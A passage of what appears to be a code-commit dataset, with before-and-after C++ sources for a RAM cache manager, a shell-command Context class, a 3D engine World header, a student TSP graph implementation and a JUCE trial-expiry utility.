smmap(transaction->size);\n  }\n  return 0;\n}\n\n\nvoid RamCacheManager::CtrlTxn(\n  const string &description,\n  const ObjectType type,\n  const int flags,\n  void *txn)\n{\n}\n\n\nint64_t RamCacheManager::Write(const void *buf, uint64_t size, void *txn) {\n  return -EIO;\n}\n\n\nint RamCacheManager::Reset(void *txn) {\n  Transaction *transaction = reinterpret_cast<Transaction *>(txn);\n  transaction->pos = 0;\n  return 0;\n}\n\n\nint RamCacheManager::OpenFromTxn(void *txn) {\n  Transaction *transaction = reinterpret_cast<Transaction *>(txn);\n  int64_t handle = CommitToKvStore(transaction);\n  if (handle < 0)\n    return handle;\n  ReadOnlyFd file_descriptor(handle, transaction->pos);\n\n  WriteLockGuard guard(rwlock_);\n  return AddFd(file_descriptor);\n}\n\n\nint RamCacheManager::AbortTxn(void *txn) {\n  Transaction *transaction = reinterpret_cast<Transaction *>(txn);\n  if (transaction->buffer)\n    free(transaction->buffer);\n  return 0;\n}\n\n\nint RamCacheManager::CommitTxn(void *txn) {\n  Transaction *transaction = reinterpret_cast<Transaction *>(txn);\n  int retval = CommitToKvStore(transaction);\n  return retval;\n}\n\n\nint64_t RamCacheManager::CommitToKvStore(Transaction *transaction) {\n  if (transaction->handle >= 0)\n    return transaction->handle;\n\n  \/\/ TODO(jblomer): commit transaction in kv store\n  transaction->handle = 0;\n  if (transaction->buffer) {\n    free(transaction->buffer);\n    transaction->buffer = NULL;\n  }\n  return transaction->handle;\n}\n\n}  \/\/ namespace cache\n<|endoftext|>"}
{"text":"<commit_before>#ifndef CONTEXT_HPP_\n#define CONTEXT_HPP_\n\n#include <string>\n#include <atomic>\n#include <memory>\n#include <thread>\n#include <cstdio>\n\nstd::string runCommand(std::string command) {\n\tstd::FILE* pipe = popen(command.c_str(), \"r\");\n\n\tif(!pipe) return \"\";\n\n\tchar buffer[128];\n\n\tstd::string result;\n\n\twhile(!std::feof(pipe)) {\n\t\tstd::fgets(buffer, sizeof(buffer), pipe);\n\t\tresult += buffer;\n\t}\n\tpclose(pipe);\n\treturn result;\n}\n\nclass Context: std::enable_shared_from_this<Context> {\n\tstd::atomic_bool isRunning;\n\tstd::string cwd;\n\n\tstd::atomic<std::shared_ptr<std::string>> currentResult;\n\npublic:\n\n\tContext() {\n\t\tisRunning.store(false);\n\t\tcurrentResult.store(std::make_shared<std::string>(\"\"));\n\t}\n\n\tvoid setCwd(std::string c) { cwd = std::move(c); }\n\tconst std::string& getCwd() const { return cwd; }\n\n\tvoid run() {\n\t\tisRunning = true;\n\t\tstd::thread t(\n\t\t\t\t[&](){\n\t\t\t\t\tcurrentResult.store(std::make_shared<std::string>(runCommand(\"ls -la\")));\n\t\t\t\t}\n\t\t);\n\t}\n\n\tvoid stop() {\n\t\tisRunning = false;\n\t}\n\n};\n\n#endif \/* CONTEXT_HPP_ *\/\n<commit_msg>Add getResult to Context<commit_after>#ifndef CONTEXT_HPP_\n#define CONTEXT_HPP_\n\n#include <string>\n#include <atomic>\n#include <memory>\n#include <thread>\n#include <cstdio>\n\nstd::string runCommand(std::string command) {\n\tstd::FILE* pipe = popen(command.c_str(), \"r\");\n\n\tif(!pipe) return \"\";\n\n\tchar buffer[128];\n\n\tstd::string result;\n\n\twhile(!std::feof(pipe)) {\n\t\tstd::fgets(buffer, sizeof(buffer), pipe);\n\t\tresult += buffer;\n\t}\n\tpclose(pipe);\n\treturn result;\n}\n\nclass Context: std::enable_shared_from_this<Context> {\n\tstd::atomic_bool isRunning;\n\tstd::string cwd;\n\n\tstd::atomic<std::shared_ptr<std::string>> currentResult;\n\npublic:\n\n\tContext() {\n\t\tisRunning.store(false);\n\t\tcurrentResult.store(std::make_shared<std::string>(\"\"));\n\t}\n\n\tvoid setCwd(std::string c) { cwd = std::move(c); }\n\tconst std::string& getCwd() const { return cwd; }\n\n\tvoid run() {\n\t\tisRunning = true;\n\t\tstd::thread t(\n\t\t\t\t[&](){\n\t\t\t\t\tcurrentResult.store(std::make_shared<std::string>(runCommand(\"ls -la\")));\n\t\t\t\t}\n\t\t);\n\t}\n\n\tvoid stop() {\n\t\tisRunning = false;\n\t}\n\n\tstd::string getResult() const {\n\t\treturn *currentResult.load();\n\t}\n\n};\n\n#endif \/* CONTEXT_HPP_ *\/\n<|endoftext|>"}
{"text":"<commit_before>#ifndef __WORLD_HPP_INCLUDED\n#define __WORLD_HPP_INCLUDED\n\n#include \"globals.hpp\"\n#include \"model_common_functions.hpp\"\n#include \"model_templates.hpp\"\n\n\/\/ Include GLEW\n#ifndef __GL_GLEW_H_INCLUDED\n#define __GL_GLEW_H_INCLUDED\n#include <GL\/glew.h> \/\/ GLfloat, GLuint etc.\n#endif\n\n\/\/ Include GLFW\n#ifndef __GLFW3_H_INCLUDED\n#define __GLFW3_H_INCLUDED\n#include <glfw3.h>\n#endif\n\n\/\/ Include GLM\n#ifndef __GLM_GLM_HPP_INCLUDED\n#define __GLM_GLM_HPP_INCLUDED\n#include <glm\/glm.hpp> \/\/ glm\n#endif\n\n\/\/ Include standard headers\n#include <iostream>\n#include <vector>    \/\/ std::vector\n#include <queue>     \/\/ std::queue\n\n\/\/ `World`, `Shader`, `Material`, `Species`, `Object`.\n\/\/ `World` must be created before any `Shader`. `parent_pointer` must be given to each `Shader`.\n\/\/ `Shader` must be created before any `Material`. `parent_pointer` must be given to each `Material`.\n\/\/ `Material` must be created before any `Species`. `parent_pointer` must be given to each `Species`.\n\/\/ `Species` must be create before any `Object` of that `Species`. `parent_pointer` must be given to each `Object` of the `Species`.\n\/\/\n\/\/\n\/\/ Hierarchy for regular objects (including world species):\n\/\/\n\/\/     World\n\/\/       ^\n\/\/    Shader\n\/\/       ^\n\/\/    Material\n\/\/       ^\n\/\/    Species\n\/\/       ^\n\/\/    Object\n\/\/\n\/\/\n\/\/ Hierarchy for glyph (character) objects:\n\/\/\n\/\/     World\n\/\/       ^\n\/\/    Shader\n\/\/       ^\n\/\/    Material\n\/\/       ^\n\/\/     Font\n\/\/       ^\n\/\/     Glyph\n\/\/       ^\n\/\/    Object\n\/\/\n\/\/\n\/\/ Deleting a `World` also deletes all shaders, textures, species and objects that are binded to the same World.\n\/\/ Deleting a `Shader` also deletes all textures, species and objects that are binded to the same Shader.\n\/\/ Deleting a `Material` also deletes all species and objects that are binded to the same Material.\n\/\/ Deleting a `Species` also deletes all objects that are binded to the same Species.\n\/\/ Deleting an `Object` only deletes the object.\n\n\/\/ Characteristics of object type graphs:\n\/\/ 1. Each object must be an undirected graph.\n\/\/ 2. Each edge must be a link in the graph.\n\/\/ 3. The faces of each object must form a closed surface. The only exception is the terrain object, which may have borders.\n\/\/\n\/\/ Modifying object type graphs:\n\/\/ 1. Translation of a vertex does not require changes in any other nodes of the graph.\n\/\/ 2. Adding a vertex always requires changes in some other nodes of the graph (unless the graph is empty before adding the vertex).\n\/\/ 3. Deleting a vertex always requires deletion of edges from some other nodes of the graph (unless the vertex is the only vertex of the graph).\n\/\/ 4. Deleting a vertex or vertices usually also requires appropriate vertex additions. These changes are called 'complex modifications'.\n\/\/\n\/\/ Adding a vertex or several vertices:\n\/\/ 1. The new edges must be connected to the existing graph with appropriate links.\n\/\/ 2. Each new face must be a triangle.\n\/\/\n\/\/ Deleting a vertex or several vertices:\n\/\/ 1. When a vertex or several vertices are deleted, their links must be deleted too (`Node` destructor handles this).\n\/\/ 2. If the vertex to be deleted is on the border of a [terrain] object, it can be deleted.\n\/\/ 3. If the vertices that are neighbors to the vertex to be deleted form only triangeles, the vertex can be deleted without vertex additions.\n\/\/ 4. Otherwise the vertex cannot be deleted without appropriate vertex and edge additions.\n\/\/\n\/\/ Complex modifications:\n\/\/ 1. In complex modifications one or more vertices and edges are deleted and one or more vertices and edges are added.\n\/\/ 2. Complex modifications may also change the topology of the object (tunnels, arcs, etc.).\n\/\/ 3. If a complex modification causes splitting the object in two or more pieces, each piece becomes a separate object.\n\/\/ 4. If the splitted object is a terrain object, then the lowest vertex (any vertex with smallest y-coordinate) of each piece is searched and the\n\/\/    y-coordinates of these are compared. The piece with the smallest y-coordinate (lowest altitude) remains terrain, other pieces become\n\/\/    regular objects. The pieces that become regular objects will be subject to gravity the same way as any regular object.\n\nnamespace model\n{\n    class Shader;\n\n    class World\n    {\n        public:\n            \/\/ constructor.\n            World();\n\n            \/\/ destructor.\n            ~World();\n\n            \/\/ this method renders the entire world, one shader at a time.\n            void render();\n\n            friend class Shader;\n            friend class Species;\n\n        private:\n            \/\/ this method sets a shader pointer.\n            void set_shader_pointer(GLuint childID, void* parent_pointer);\n\n            \/\/ this method sets a world species pointer.\n            void set_terrain_species_pointer(void* terrain_species_pointer);\n\n            void compute_matrices_from_inputs();\n\n            void* terrain_species_pointer;              \/\/ pointer to world species (used in collision detection).\n\n            std::vector<void*> shader_pointer_vector;\n            std::queue<GLuint> free_shaderID_queue;\n    };\n}\n\n#endif\n<commit_msg>Muokattu kommentteja.<commit_after>#ifndef __WORLD_HPP_INCLUDED\n#define __WORLD_HPP_INCLUDED\n\n#include \"globals.hpp\"\n#include \"model_common_functions.hpp\"\n#include \"model_templates.hpp\"\n\n\/\/ Include GLEW\n#ifndef __GL_GLEW_H_INCLUDED\n#define __GL_GLEW_H_INCLUDED\n#include <GL\/glew.h> \/\/ GLfloat, GLuint etc.\n#endif\n\n\/\/ Include GLFW\n#ifndef __GLFW3_H_INCLUDED\n#define __GLFW3_H_INCLUDED\n#include <glfw3.h>\n#endif\n\n\/\/ Include GLM\n#ifndef __GLM_GLM_HPP_INCLUDED\n#define __GLM_GLM_HPP_INCLUDED\n#include <glm\/glm.hpp> \/\/ glm\n#endif\n\n\/\/ Include standard headers\n#include <iostream>\n#include <vector>    \/\/ std::vector\n#include <queue>     \/\/ std::queue\n\n\/\/ `World`, `Shader`, `Material`, `Species`, `Object`.\n\/\/ `World`, `Shader`, `Material`, `Font`, `Glyph`, `Object`.\n\/\/ `World` must be created before any `Shader`. `parent_pointer` must be given to each `Shader`.\n\/\/ `Shader` must be created before any `Material`. `parent_pointer` must be given to each `Material`.\n\/\/ `Material` must be created before any `Species`. `parent_pointer` must be given to each `Species`.\n\/\/ `Species` must be create before any `Object` of that `Species`. `parent_pointer` must be given to each `Object` of the `Species`.\n\/\/\n\/\/\n\/\/ Hierarchy for regular objects (including terrain species):\n\/\/\n\/\/     World\n\/\/       ^\n\/\/     Shader\n\/\/       ^\n\/\/    Material\n\/\/       ^\n\/\/    Species\n\/\/       ^\n\/\/     Object\n\/\/\n\/\/\n\/\/ Hierarchy for glyph (character) objects:\n\/\/\n\/\/     World\n\/\/       ^\n\/\/     Shader\n\/\/       ^\n\/\/    Material\n\/\/       ^\n\/\/      Font\n\/\/       ^\n\/\/     Glyph\n\/\/       ^\n\/\/     Object\n\/\/\n\/\/\n\/\/ Deleting a `World` also deletes all shaders, materials, species, fonts, glyphs and objects that are binded to the same World.\n\/\/ Deleting a `Shader` also deletes all materials, species, fonts, glyphs and objects that are binded to the same Shader.\n\/\/ Deleting a `Material` also deletes all species, fonts, glyphs and objects that are binded to the same Material.\n\/\/ Deleting a `Species` also deletes all objects that are binded to the same Species.\n\/\/ Deleting an `Object` only deletes the object.\n\n\/\/ Characteristics of object type graphs:\n\/\/ 1. Each object must be an undirected graph.\n\/\/ 2. Each edge must be a link in the graph.\n\/\/ 3. The faces of each object must form a closed surface. The only exception is the terrain object, which may have borders.\n\/\/\n\/\/ Modifying object type graphs:\n\/\/ 1. Translation of a vertex does not require changes in any other nodes of the graph.\n\/\/ 2. Adding a vertex always requires changes in some other nodes of the graph (unless the graph is empty before adding the vertex).\n\/\/ 3. Deleting a vertex always requires deletion of edges from some other nodes of the graph (unless the vertex is the only vertex of the graph).\n\/\/ 4. Deleting a vertex or vertices usually also requires appropriate vertex additions. These changes are called 'complex modifications'.\n\/\/\n\/\/ Adding a vertex or several vertices:\n\/\/ 1. The new edges must be connected to the existing graph with appropriate links.\n\/\/ 2. Each new face must be a triangle.\n\/\/\n\/\/ Deleting a vertex or several vertices:\n\/\/ 1. When a vertex or several vertices are deleted, their links must be deleted too (`Node` destructor handles this).\n\/\/ 2. If the vertex to be deleted is on the border of a [terrain] object, it can be deleted.\n\/\/ 3. If the vertices that are neighbors to the vertex to be deleted form only triangeles, the vertex can be deleted without vertex additions.\n\/\/ 4. Otherwise the vertex cannot be deleted without appropriate vertex and edge additions.\n\/\/\n\/\/ Complex modifications:\n\/\/ 1. In complex modifications one or more vertices and edges are deleted and one or more vertices and edges are added.\n\/\/ 2. Complex modifications may also change the topology of the object (tunnels, arcs, etc.).\n\/\/ 3. If a complex modification causes splitting the object in two or more pieces, each piece becomes a separate object.\n\/\/ 4. If the splitted object is a terrain object, then the lowest vertex (any vertex with smallest y-coordinate) of each piece is searched and the\n\/\/    y-coordinates of these are compared. The piece with the smallest y-coordinate (lowest altitude) remains terrain, other pieces become\n\/\/    regular objects. The pieces that become regular objects will be subject to gravity the same way as any regular object.\n\nnamespace model\n{\n    class Shader;\n\n    class World\n    {\n        public:\n            \/\/ constructor.\n            World();\n\n            \/\/ destructor.\n            ~World();\n\n            \/\/ this method renders the entire world, one shader at a time.\n            void render();\n\n            friend class Shader;\n            friend class Species;\n\n        private:\n            \/\/ this method sets a shader pointer.\n            void set_shader_pointer(GLuint childID, void* parent_pointer);\n\n            \/\/ this method sets a world species pointer.\n            void set_terrain_species_pointer(void* terrain_species_pointer);\n\n            void compute_matrices_from_inputs();\n\n            void* terrain_species_pointer;              \/\/ pointer to world species (used in collision detection).\n\n            std::vector<void*> shader_pointer_vector;\n            std::queue<GLuint> free_shaderID_queue;\n    };\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/Graph implementation\n\/\/Author: Ginevra Gaudioso\n\/\/CS345 assignment 6\n\/\/May 5, 2016\n\n\n#include \"Graph.h\"\n\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <stdlib.h>\n#include <math.h>\n#include <cfloat>\n\n\n#define X 0     \/\/x coord position\n#define Y 1     \/\/y coord position\n#define VIS 2   \/\/visited flag position\n\nusing namespace std;\n\n\/\/constructor of Graph\nGraph::Graph(char* path) throw() {\n\n\t\/\/1. open input file, which is assumed to be in the format of a280.tsp\n\tifstream graphFile; \/\/create input stream\n\tgraphFile.open(path,ios::in); \/\/use stream to read the file\n\n\tif (graphFile.is_open()) {\n\t\tstring line;\n\n\t\t\/\/2. get number of nodes in the graph\n\t\tint size=0; \/\/initialize size\n\t\twhile (getline(graphFile, line)) {\n\t\t\tif (line.length()>9 && (line.substr(0,9)).compare(\"DIMENSION\")==0) {\n\t\t\t\t\/\/save size = number of nodes in the graph, as integer, and leave\n\t\t\t\tsize = atoi(line.substr(11,line.length()-11).c_str());\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (size==0) { \/\/size was not set, thus file format must be wrong\n\t\t\tcout << \"no dimension specified in file\" << endl;\n\t\t\tthrow;\n\t\t}\n\n\t\t\/\/3. allocate array to store nodes and visited, and save size\n\t\tarray_of_nodes = new int*[size+1]; \/\/+1 to correct 0 base to 1 base\n\t\tnum_nodes = size;\n\n\t\t\/\/4. fill in array with coordinates\n\t\twhile (getline(graphFile, line)) {\n\t\t\tif (line.length()>3 && line[2]<='9' && line[2]>='0') {\n\t\t\t\tint index = atoi(line.substr(0,3).c_str()); \/\/index is node number, which will go from 1 to size\n\t\t\t\tint x = atoi(line.substr(4,3).c_str()); \/\/get x coordinate\n\t\t\t\tint y = atoi(line.substr(8,3).c_str()); \/\/get y coordinate\n\t\t\t\tarray_of_nodes[index] = new int[3]; \/\/3 = x coord, y coord, visited flag\n\t\t\t\tarray_of_nodes[index][X] = x; \/\/save x coordinate\n\t\t\t\tarray_of_nodes[index][Y] = y; \/\/save y coordinate\n\t\t\t\tarray_of_nodes[index][VIS] = 0; \/\/not visited\n\t\t\t}\n\t\t}\n\t}\n\telse { \/\/file cannot be read\n\t\tcout << \"cannot read file\" << endl;\n\t\tthrow;\n\t}\n\t\/\/5. done with file\n\tgraphFile.close();\n\n\t\/\/Graph is stored as array <node number> <xcoord> <ycoord> <visited>\n}\n\n\/\/returns size of graph as number of nodes\nint Graph::getsize() {\n\treturn num_nodes;\n}\n\n\/\/returns start node of graph\nint Graph::getstart() {\n\treturn 1;\n}\n\n\n\/\/finds the distance between node a and b\ndouble Graph::getdistance(int a, int b) {\n\tif (a<1 || a>=num_nodes-1 || b<1 || b>=num_nodes-1) \/\/not a valid node for this graph\n\t\treturn -1;\n\telse {\n\t\tint xdist = array_of_nodes[a][X]-array_of_nodes[b][X];\n\t\tint ydist = array_of_nodes[a][Y]-array_of_nodes[b][Y];\n\t\treturn sqrt(pow(xdist,2)+pow(ydist,2));\n\t}\n}\n\n\/\/gets closest non visited node from a\nint Graph::getclosest(int a) {\n\tif (a<1 || a>num_nodes) \/\/not a valid node for this graph\n\t\t\treturn -1;\n\tarray_of_nodes[a][VIS] = 1; \/\/starting point is visited\n\tdouble mindist = DBL_MAX; \/\/initialize minimum\n\tint minnode = -1; \/\/initialize to negative as flag\n\tfor (int i=1; i<=num_nodes;i++){\n\t\tif (array_of_nodes[i][VIS]==0) { \/\/not visited\n\t\t\tdouble dist = getdistance(a,i); \/\/get distance from a to i\n\t\t\tif (dist < mindist)  {\n\t\t\t\tmindist = dist; \/\/update min dist\n\t\t\t\tminnode = i; \/\/save closest node\n\t\t\t}\n\t\t}\n\t}\n\tif (minnode != -1) array_of_nodes[minnode][VIS] = 1; \/\/set end point to visited\n\treturn minnode;\n}\n\n\n\/\/get cost of tour\ndouble Graph::getcost(vector<int> tour) {\n\tif (tour.empty()) \/\/invalid input\n\t\treturn -1;\n\tvector<int>::iterator it = tour.begin(); \/\/iterator on tour vector\n\tint start = *it; \/\/save starting point\n\tint a = start;\n\tint b = -1;\n\tdouble cost = 0; \/\/returned cost\n\tit++;\n\tfor (;it!=tour.end();++it){\n\t\tb = *it;\n\t\tcost += getdistance(a,b); \/\/add up\n\t\ta = b;\n\t}\n\tcost += getdistance(b,start); \/\/add up last edge\n\treturn cost;\n}\n\n\n\/\/destructor of Graph, called with delete\nGraph::~Graph() {\n\t\/\/need to release memory of array\n\tfor (int i=1;i<=num_nodes;i++)\n\t\tdelete[] array_of_nodes[i]; \/\/free each row\n\tdelete[] array_of_nodes; \/\/free array\n}\n\n<commit_msg>bug fix<commit_after>\/\/Graph implementation\n\/\/Author: Ginevra Gaudioso\n\/\/CS345 assignment 6\n\/\/May 5, 2016\n\n\n#include \"Graph.h\"\n\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <stdlib.h>\n#include <math.h>\n#include <cfloat>\n\n\n#define X 0     \/\/x coord position\n#define Y 1     \/\/y coord position\n#define VIS 2   \/\/visited flag position\n\nusing namespace std;\n\n\/\/constructor of Graph\nGraph::Graph(char* path) throw() {\n\n\t\/\/1. open input file, which is assumed to be in the format of a280.tsp\n\tifstream graphFile; \/\/create input stream\n\tgraphFile.open(path,ios::in); \/\/use stream to read the file\n\n\tif (graphFile.is_open()) {\n\t\tstring line;\n\n\t\t\/\/2. get number of nodes in the graph\n\t\tint size=0; \/\/initialize size\n\t\twhile (getline(graphFile, line)) {\n\t\t\tif (line.length()>9 && (line.substr(0,9)).compare(\"DIMENSION\")==0) {\n\t\t\t\t\/\/save size = number of nodes in the graph, as integer, and leave\n\t\t\t\tsize = atoi(line.substr(11,line.length()-11).c_str());\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (size==0) { \/\/size was not set, thus file format must be wrong\n\t\t\tcout << \"no dimension specified in file\" << endl;\n\t\t\tthrow;\n\t\t}\n\n\t\t\/\/3. allocate array to store nodes and visited, and save size\n\t\tarray_of_nodes = new int*[size+1]; \/\/+1 to correct 0 base to 1 base\n\t\tnum_nodes = size;\n\n\t\t\/\/4. fill in array with coordinates\n\t\twhile (getline(graphFile, line)) {\n\t\t\tif (line.length()>3 && line[2]<='9' && line[2]>='0') {\n\t\t\t\tint index = atoi(line.substr(0,3).c_str()); \/\/index is node number, which will go from 1 to size\n\t\t\t\tint x = atoi(line.substr(4,3).c_str()); \/\/get x coordinate\n\t\t\t\tint y = atoi(line.substr(8,3).c_str()); \/\/get y coordinate\n\t\t\t\tarray_of_nodes[index] = new int[3]; \/\/3 = x coord, y coord, visited flag\n\t\t\t\tarray_of_nodes[index][X] = x; \/\/save x coordinate\n\t\t\t\tarray_of_nodes[index][Y] = y; \/\/save y coordinate\n\t\t\t\tarray_of_nodes[index][VIS] = 0; \/\/not visited\n\t\t\t}\n\t\t}\n\t}\n\telse { \/\/file cannot be read\n\t\tcout << \"cannot read file\" << endl;\n\t\tthrow;\n\t}\n\t\/\/5. done with file\n\tgraphFile.close();\n\n\t\/\/Graph is stored as array <node number> <xcoord> <ycoord> <visited>\n}\n\n\/\/returns size of graph as number of nodes\nint Graph::getsize() {\n\treturn num_nodes;\n}\n\n\/\/returns start node of graph\nint Graph::getstart() {\n\/\/here I decided to have an arbitrary start, instead of checking which starting point would provide the best greedy solution\n\/\/It is possible to add a for loop into main \"for i from getstart to getsize\" and then pick the least cost route, but that adds an order to the complexity\n\treturn 1;\n}\n\n\n\/\/finds the distance between node a and b\ndouble Graph::getdistance(int a, int b) {\n\tif (a<1 || a>num_nodes || b<1 || b>num_nodes) \/\/not a valid node for this graph\n\t\treturn -1;\n\telse {\n\t\tint xdist = array_of_nodes[a][X]-array_of_nodes[b][X];\n\t\tint ydist = array_of_nodes[a][Y]-array_of_nodes[b][Y];\n\t\treturn sqrt(pow(xdist,2)+pow(ydist,2));\n\t}\n}\n\n\/\/gets closest non visited node from a\nint Graph::getclosest(int a) {\n\tif (a<1 || a>num_nodes) \/\/not a valid node for this graph\n\t\t\treturn -1;\n\tarray_of_nodes[a][VIS] = 1; \/\/starting point is visited\n\tdouble mindist = DBL_MAX; \/\/initialize minimum\n\tint minnode = -1; \/\/initialize to negative as flag\n\tfor (int i=1; i<=num_nodes;i++){\n\t\tif (array_of_nodes[i][VIS]==0) { \/\/not visited\n\t\t\tdouble dist = getdistance(a,i); \/\/get distance from a to i\n\t\t\tif (dist <= mindist)  {\n\t\t\t\tmindist = dist; \/\/update min dist\n\t\t\t\tminnode = i; \/\/save closest node\n\t\t\t}\n\t\t}\n\t}\n\tif (minnode != -1) array_of_nodes[minnode][VIS] = 1; \/\/set end point to visited\n\treturn minnode;\n}\n\n\n\/\/get cost of tour\ndouble Graph::getcost(vector<int> tour) {\n\tif (tour.empty()) \/\/invalid input\n\t\treturn -1;\n\tvector<int>::iterator it = tour.begin(); \/\/iterator on tour vector\n\tint start = *it; \/\/save starting point\n\tint a = start;\n\tint b = -1;\n\tdouble cost = 0; \/\/returned cost\n\tit++;\n\tfor (;it!=tour.end();++it){\n\t\tb = *it;\n\t\tcost += getdistance(a,b); \/\/add up\n\t\ta = b;\n\t}\n\tcost += getdistance(b,start); \/\/add up last edge\n\treturn cost;\n}\n\n\n\/\/destructor of Graph, called with delete\nGraph::~Graph() {\n\t\/\/need to release memory of array\n\tfor (int i=1;i<=num_nodes;i++)\n\t\tdelete[] array_of_nodes[i]; \/\/free each row\n\tdelete[] array_of_nodes; \/\/free array\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef TIME_LIMITED_HPP_INC\n#define TIME_LIMITED_HPP_INC\n\n\/**\n @file time_limited.hpp\n @author François Becker\n \nMIT License\n\nCopyright (c) 2016-2017 François Becker\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#include \"JuceHeader.h\"\n\n#include \"build_info.hpp\"\n\n#include \"time_utils.hpp\"\n\n\/**\n @class TimeLimitedFromBuild\n *\/\ntemplate <int DAYSAFTERBUILD>\nclass TimeLimitedFromBuild\n{\npublic:\n    TimeLimitedFromBuild()\n    : mLimit(tu::timeFromStringDate(getBuildInfo().mDate.c_str()) + DAYSAFTERBUILD * 24 * 3600)\n    {\n    }\n    \n    String getTimeLimit() const\n    {\n        return std::ctime(&mLimit);\n    }\n    \n    bool isOutdated() const\n    {\n        std::time_t lNow = std::time(nullptr);\n        return difftime(lNow, mLimit) > 0.;\n    }\n    \nprivate:\n    std::time_t mLimit;\n    \n    JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (TimeLimitedFromBuild)\n};\n\n\/**\n @class TimeLimitedFromFirstRun\n *\/\ntemplate <int DAYSAFTERFIRSTRUN>\nclass TimeLimitedFromFirstRun\n{\npublic:\n    TimeLimitedFromFirstRun(const String& pCompanyName, const String& pSKU, const String& pVersion, bool pCommonToAllUsers)\n    : mLimit()\n    {\n        String lVersion(pVersion.replaceCharacters(\".\", \"p\"));\n        \n        PropertiesFile::Options lOptions;\n        lOptions.applicationName = String(\".\") + pSKU;\n        lOptions.filenameSuffix = \"bin\";\n        lOptions.folderName = pCompanyName;\n        lOptions.osxLibrarySubFolder = \"Application Support\";\n        lOptions.commonToAllUsers = pCommonToAllUsers;\n        lOptions.ignoreCaseOfKeyNames = false;\n        lOptions.doNotSave = false;\n        lOptions.millisecondsBeforeSaving = 0;\n        lOptions.storageFormat = PropertiesFile::storeAsCompressedBinary;\n        ScopedPointer<PropertiesFile> lSettings = new PropertiesFile(lOptions);\n        \n        String lLimitString = lSettings->getValue(lVersion, \"\");\n        if (lLimitString.isEmpty())\n        {\n            std::time_t lNow = std::time(nullptr);\n            mLimit = lNow + DAYSAFTERFIRSTRUN * 24 * 3600;\n            lSettings->setValue(lVersion, String((long)mLimit));\n        }\n        else\n        {\n            mLimit = (long)lLimitString.getDoubleValue(); \/\/ TODO: something more direct\n        }\n    }\n    \n    String getTimeLimit() const\n    {\n        return std::ctime(&mLimit);\n    }\n    \n    bool isOutdated() const\n    {\n        std::time_t lNow = std::time(nullptr);\n        return difftime(lNow, mLimit) > 0.;\n    }\n    \nprivate:\n    std::time_t                   mLimit;\n    \n    JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (TimeLimitedFromFirstRun)\n};\n\n#endif\n<commit_msg>TimeLimitedFromBuild: added a caching utility for efficiency<commit_after>#ifndef TIME_LIMITED_HPP_INC\n#define TIME_LIMITED_HPP_INC\n\n\/**\n @file time_limited.hpp\n @author François Becker\n \nMIT License\n\nCopyright (c) 2016-2017 François Becker\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#include \"JuceHeader.h\"\n\n#include \"build_info.hpp\"\n\n#include \"time_utils.hpp\"\n\n\/**\n @class TimeLimitedFromBuild\n *\/\ntemplate <int DAYSAFTERBUILD>\nclass TimeLimitedFromBuild\n{\npublic:\n    TimeLimitedFromBuild()\n    : mLimit(tu::timeFromStringDate(getBuildInfo().mDate.c_str()) + DAYSAFTERBUILD * 24 * 3600)\n    , mIsOutdatedCached(isOutdated())\n    {\n    }\n    \n    String getTimeLimit() const\n    {\n        return std::ctime(&mLimit);\n    }\n    \n    bool isOutdated() const\n    {\n        std::time_t lNow = std::time(nullptr);\n        return difftime(lNow, mLimit) > 0.;\n    }\n    \n    bool isOutdatedCached() const\n    {\n        return mIsOutdatedCached;\n    }\n    \nprivate:\n    std::time_t mLimit;\n    bool        mIsOutdatedCached;\n    \n    JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (TimeLimitedFromBuild)\n};\n\n\/**\n @class TimeLimitedFromFirstRun\n *\/\ntemplate <int DAYSAFTERFIRSTRUN>\nclass TimeLimitedFromFirstRun\n{\npublic:\n    TimeLimitedFromFirstRun(const String& pCompanyName, const String& pSKU, const String& pVersion, bool pCommonToAllUsers)\n    : mLimit()\n    {\n        String lVersion(pVersion.replaceCharacters(\".\", \"p\"));\n        \n        PropertiesFile::Options lOptions;\n        lOptions.applicationName = String(\".\") + pSKU;\n        lOptions.filenameSuffix = \"bin\";\n        lOptions.folderName = pCompanyName;\n        